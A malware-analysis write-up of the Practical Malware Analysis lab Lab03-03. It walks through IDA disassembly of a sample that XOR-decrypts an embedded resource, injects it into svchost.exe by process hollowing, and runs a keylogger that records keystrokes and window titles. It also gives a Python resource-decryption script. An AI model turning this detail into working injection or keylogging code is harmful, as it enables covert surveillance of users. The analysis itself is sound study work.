Post

0x08_Lab03-03

Overview

FilenameSizeMD5
Lab03-03.exe53 KBe2bf42217a67e46433da8b6f4507219e

TL;DR: An executable embedding a keylogger in its resource section. The keylogger is injected into a newly created instance of svchost.exe using process hollowing, and keystrokes are saved in a file named practicalmalwareanalysis.log.

Tools: IDA Free 7.0, Resource Hacker

IDB: Lab03-03.i64, Keylogger


Loading and decrypting the resource

Function 0x40132C uses the APIs FindResource, LoadResource, LockResource and SizeOfResource to retrieve a pointer on a resource named “LOCALIZATION” and its size. Using a resource editor we can dump this resource to disk. The resource is then copied to a newly allocated heap buffer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:004013D0      push    PAGE_READWRITE  ; flProtect
.text:004013D2      push    1000h           ; flAllocationType
.text:004013D7      mov     eax, [ebp+dwSize] ; size of resource
.text:004013DA      push    eax             ; dwSize
.text:004013DB      push    0               ; lpAddress
.text:004013DD      call    ds:VirtualAlloc
.text:004013E3      mov     [ebp+heap], eax
[...]
.text:004013EE      mov     ecx, [ebp+dwSize]
.text:004013F1      push    ecx             ; size_t
.text:004013F2      mov     edx, [ebp+ptrLoadedResource]
.text:004013F5      push    edx             ; void *
.text:004013F6      mov     eax, [ebp+heap]
.text:004013F9      push    eax             ; void *
.text:004013FA      call    _memcpy

If the resource starts with MZ the function returns a pointer to it:

1
2
3
4
5
6
7
8
9
10
.text:00401402      mov     ecx, [ebp+heap]
.text:00401405      xor     edx, edx
.text:00401407      mov     dl, [ecx]
.text:00401409      cmp     edx, 'M'
.text:0040140C      jnz     short decrypt
.text:0040140E      mov     eax, [ebp+heap]
.text:00401411      xor     ecx, ecx
.text:00401413      mov     cl, [eax+1]
.text:00401416      cmp     ecx, 'Z'
.text:00401419      jz      short quit

Else, a decryption function is called:

1
2
3
4
5
6
7
.text:0040141B decrypt:
.text:0040141B      push    41h ; xor key
.text:0040141D      mov     edx, [ebp+dwSize]
.text:00401420      push    edx
.text:00401421      mov     eax, [ebp+heap]
.text:00401424      push    eax
.text:00401425      call    DecryptBuffer

The decryption function performs a xor 0x41 operation on all of the bytes in the encrypted resource. Here is a script to get the plaintext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import argparse, os, sys

key = 0x41

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description="Lab03-03")
    parser.add_argument("bin", type=str, help="Path of resource to decrypt")

    args = parser.parse_args()

    if os.path.exists(args.bin):
        with open(args.bin, "rb") as f:
            raw = f.read()
        
        decrypted = bytearray(raw)
        for i,  b in enumerate(decrypted):
            decrypted[i] ^= key
        decrypted = bytes(decrypted)

        name = f.name.rsplit("/")[1]
        name += ".decrypted" 
        with open(name, "wb") as d:
            d.write(decrypted)

    else:
        print("[-] File not found.")

    sys.exit(0)

The decrypted resource is another PE file an will be injected in a new instance of svchost.

Process hollowing

Function 0x401544 does the injection using the process hollowing technique. It takes two parameters: a pointer to the decrypted payload and a pointer to a string containing the path of svchost.exe:

1
2
3
4
5
.text:00401539      mov     edx, [ebp+decrypted_payload]
.text:0040153C      push    edx             ; payload
.text:0040153D      lea     eax, [ebp+svchost_path]
.text:00401543      push    eax             ; %SYSTEM%\\svchost.exe
.text:00401544      call    ProcessHollowing

The decrypted payload must have valid MZ and PE signatures, else the function exits (code not shown).

Process hollowing starts with the creation of a new process in a suspendend state:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00401145      lea     edx, [ebp+ProcessInformation]
.text:00401148      push    edx             ; lpProcessInformation
.text:00401149      lea     eax, [ebp+StartupInfo]
.text:0040114C      push    eax             ; lpStartupInfo
.text:0040114D      push    0               ; lpCurrentDirectory
.text:0040114F      push    0               ; lpEnvironment
.text:00401151      push    CREATE_SUSPENDED ; dwCreationFlags
.text:00401153      push    0               ; bInheritHandles
.text:00401155      push    0               ; lpThreadAttributes
.text:00401157      push    0               ; lpProcessAttributes
.text:00401159      push    0               ; lpCommandLine
.text:0040115B      mov     ecx, [ebp+svchost_path] %SYSTEM%\\svchost.exe
.text:0040115E      push    ecx             ; lpApplicationName
.text:0040115F      call    ds:CreateProcessA

Then, the injector needs the imagebase of the newly created process. To find it, it reads the field ImageBaseAddress in the PEB of the target process. To locate the PEB of the target process, it accesses the context of its main thread with GetThreadContext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; get ctx
.text:00401184      mov     edx, [ebp+lpContext]
.text:00401187      mov     [edx+CONTEXT.ContextFlags], CONTEXT_FULL
.text:0040118D      mov     eax, [ebp+lpContext]
.text:00401190      push    eax             ; lpContext
.text:00401191      mov     ecx, [ebp+ProcessInformation.hThread]
.text:00401194      push    ecx             ; hThread
.text:00401195      call    ds:GetThreadContext ; get context of main thread (suspended svchost)

; get PEB.ImageBaseAddress
.text:004011B8      push    0               ; lpNumberOfBytesRead
.text:004011BA      push    4               ; nSize
.text:004011BC      lea     edx, [ebp+imagebase_svchost]
.text:004011BF      push    edx             ; output
.text:004011C0      mov     eax, [ebp+lpContext]
.text:004011C3      mov     ecx, [eax+CONTEXT._Ebx] ; EBX->PEB
.text:004011C9      add     ecx, 8          ; @[EBX+8] = image base of svchost
.text:004011CC      push    ecx             ; lpBaseAddress
.text:004011CD      mov     edx, [ebp+ProcessInformation.hProcess]
.text:004011D0      push    edx             ; hProcess
.text:004011D1      call    ds:ReadProcessMemory ; read 4 bytes @EBX+8

Now the injector knows where is the suspended svchost, it unmaps it. It’s like getting an empty shell:

1
2
3
4
5
.text:004011FE      mov     eax, [ebp+imagebase_svchost]
.text:00401201      push    eax
.text:00401202      mov     ecx, [ebp+ProcessInformation.hProcess]
.text:00401205      push    ecx
.text:00401206      call    [ebp+addr_NtUnmapViewOfSection]

Then a RWX buffer is allocated inside the process:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401209      push    PAGE_EXECUTE_READWRITE ; flProtect
.text:0040120B      push    3000h           ; MEM_COMMIT | MEM_RESERVE
.text:00401210      mov     edx, [ebp+IMAGE_NT_HEADER_payload]
.text:00401213      mov     eax, [edx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfImage]
.text:00401216      push    eax             ; dwSize: size of payload
.text:00401217      mov     ecx, [ebp+IMAGE_NT_HEADER_payload]
.text:0040121A      mov     edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.ImageBase]
.text:0040121D      push    edx             ; lpAddress: payload imagebase
.text:0040121E      mov     eax, [ebp+ProcessInformation.hProcess]
.text:00401221      push    eax             ; hProcess
.text:00401222      call    ds:VirtualAllocEx
.text:00401228      mov     [ebp+destination], eax

The lpAddress parameter has been set so the RWX buffer base address and the payload base address have the same values. This avoid the pain of computing relocations.

It’s time to write the payload in this newly allocated buffer. First, the headers:

1
2
3
4
5
6
7
8
9
10
11
.text:0040123C      push    0               ; lpNumberOfBytesWritten
.text:0040123E      mov     ecx, [ebp+IMAGE_NT_HEADER_payload]
.text:00401241      mov     edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfHeaders]
.text:00401244      push    edx             ; nSize
.text:00401245      mov     eax, [ebp+payload]
.text:00401248      push    eax             ; lpBuffer
.text:00401249      mov     ecx, [ebp+destination]
.text:0040124C      push    ecx             ; lpBaseAddress
.text:0040124D      mov     edx, [ebp+ProcessInformation.hProcess]
.text:00401250      push    edx             ; hProcess
.text:00401251      call    ds:WriteProcessMemory

Once all sections have been written (code not shown), the field PEB.ImageBaseAddress is updated (because the old address has been unmapped):

1
2
3
4
5
6
7
8
9
10
11
12
.text:004012B9      push    0               ; lpNumberOfBytesWritten
.text:004012BB      push    4               ; nSize
.text:004012BD      mov     edx, [ebp+IMAGE_NT_HEADER_payload]
.text:004012C0      add     edx, IMAGE_NT_HEADERS32.OptionalHeader.ImageBase
.text:004012C3      push    edx             ; source
.text:004012C4      mov     eax, [ebp+lpContext]
.text:004012C7      mov     ecx, [eax+CONTEXT._Ebx]
.text:004012CD      add     ecx, 8
.text:004012D0      push    ecx             ; dest
.text:004012D1      mov     edx, [ebp+ProcessInformation.hProcess]
.text:004012D4      push    edx             ; hProcess
.text:004012D5      call    ds:WriteProcessMemory ; update the target PEB.imagebase

And the context of the new thread is also updated so the entrypoint value is valid:

1
2
3
4
5
6
7
8
9
10
.text:004012DB      mov     eax, [ebp+IMAGE_NT_HEADER_payload]
.text:004012DE      mov     ecx, [ebp+destination]
.text:004012E1      add     ecx, [eax+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint]
.text:004012E4      mov     edx, [ebp+lpContext]
.text:004012E7      mov     [edx+CONTEXT._Eax], ecx ; update thread entrypoint
.text:004012ED      mov     eax, [ebp+lpContext]
.text:004012F0      push    eax             ; lpContext
.text:004012F1      mov     ecx, [ebp+ProcessInformation.hThread]
.text:004012F4      push    ecx             ; hThread
.text:004012F5      call    ds:SetThreadContext

The payload is now ready to be executed, and the main thread of the hijacked process is resumed:

1
2
3
.text:004012FB      mov     edx, [ebp+ProcessInformation.hThread]
.text:004012FE      push    edx             ; hThread
.text:004012FF      call    ds:ResumeThread ; starts at payload entrypoint

Keylogger

Hooking keyboard events

The payload injected into svchost is a keylogger. it starts by registering a callback on all keyboard events:

1
2
3
4
5
.text:00401053      push    eax             ; hmod
.text:00401054      push    offset fn       ; lpfn
.text:00401059      push    WH_KEYBOARD_LL  ; idHook
.text:0040105B      call    ds:SetWindowsHookExA
.text:00401061      mov     [ebp+hhk], eax

According the the MSDN, when the parameter idHook has the value WH_KEYBOARD_LL, the hook procedure installed is a LowLevelKeyboardProc callback:

1
2
3
4
5
LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int    nCode,  // if 0, wParam and lParam contain information about a keyboard message
  _In_ WPARAM wParam, // identifier of the keyboard message
  _In_ LPARAM lParam // KBDLLHOOKSTRUCT*
);

So, the callback triggered on keyboard events starts as follow:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401089      cmp     [ebp+code], HC_ACTION ;
.text:0040108D      jnz     short skip          ; skip if no info
.text:0040108F      cmp     [ebp+wParam], WM_SYSKEYDOWN
.text:00401096      jz      short key_pressed
.text:00401098      cmp     [ebp+wParam], WM_KEYDOWN
.text:0040109F      jnz     short pass_to_next_hook
.text:004010A1 key_pressed:
.text:004010A1      mov     eax, [ebp+lParam]   ; KBDLLHOOKSTRUCT *
.text:004010A4      mov     ecx, [eax+KBDLLHOOKSTRUCT.vkCode]
.text:004010A6      push    ecx                 ; Buffer
.text:004010A7      call    LogInput            ; 0x4010C7
.text:004010AC      add     esp, 4

If a key is pressed, the corresponding virtual key code is sent to function 0x4010C7.

Processing inputs

The file used to save keyboard inputs is named practicalmalwareanalysis.log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; open
.text:004010D4      push    0                       ; hTemplateFile
.text:004010D6      push    FILE_ATTRIBUTE_NORMAL   ; dwFlagsAndAttributes
.text:004010DB      push    OPEN_ALWAYS             ; dwCreationDisposition
.text:004010DD      push    0                       ; lpSecurityAttributes
.text:004010DF      push    FILE_SHARE_WRITE        ; dwShareMode
.text:004010E1      push    GENERIC_WRITE           ; dwDesiredAccess
.text:004010E6      push    offset FileName         ; "practicalmalwareanalysis.log"
.text:004010EB      call    ds:CreateFileA
.text:004010F1      mov     [ebp+hFile], eax
[...]
.text:004010FF      push    FILE_END        ; start to write from current end of file
.text:00401101      push    0               ; lpDistanceToMoveHigh
.text:00401103      push    0               ; lDistanceToMove
.text:00401105      mov     eax, [ebp+hFile]
.text:00401108      push    eax             ; hFile
.text:00401109      call    ds:SetFilePointer

The virtual key code received by the function is processed so that special keys are handled properly. For example, if the key “ctrl” is pressed, the string “[CTRL]” is explicitely written to the logfile:

1
2
3
4
5
6
7
8
.text:004012C5      push    0               ; jumptable 00401226 case 9
.text:004012C7      lea     ecx, [ebp+NumberOfBytesWritten]
.text:004012CA      push    ecx             ; lpNumberOfBytesWritten
.text:004012CB      push    6               ; nNumberOfBytesToWrite
.text:004012CD      push    offset aCtrl    ; "[CTRL]"
.text:004012D2      mov     edx, [ebp+hFile]
.text:004012D5      push    edx             ; hFile
.text:004012D6      call    ds:WriteFile

Finally, the title of the current window is checked at every new keyboard event:

1
2
3
4
5
6
7
8
9
10
11
.text:0040110F      push    400h                        ; nMaxCount
.text:00401114      push    offset current_window_title ; lpString
.text:00401119      call    ds:GetForegroundWindow      ; focus on current window
.text:0040111F      push    eax                         ; hWnd
.text:00401120      call    ds:GetWindowTextA
.text:00401126      push    offset current_window_title     ; char *
.text:0040112B      push    offset previous_window_title    ; char *
.text:00401130      call    _strcmp
.text:00401135      add     esp, 8
.text:00401138      test    eax, eax
.text:0040113A      jz      short same_window

If the window title didn’t change between two inputs the pressed key is logged. Else, the new title is logged before logging the pressed key.


EOF

This post is licensed under CC BY 4.0 by the author.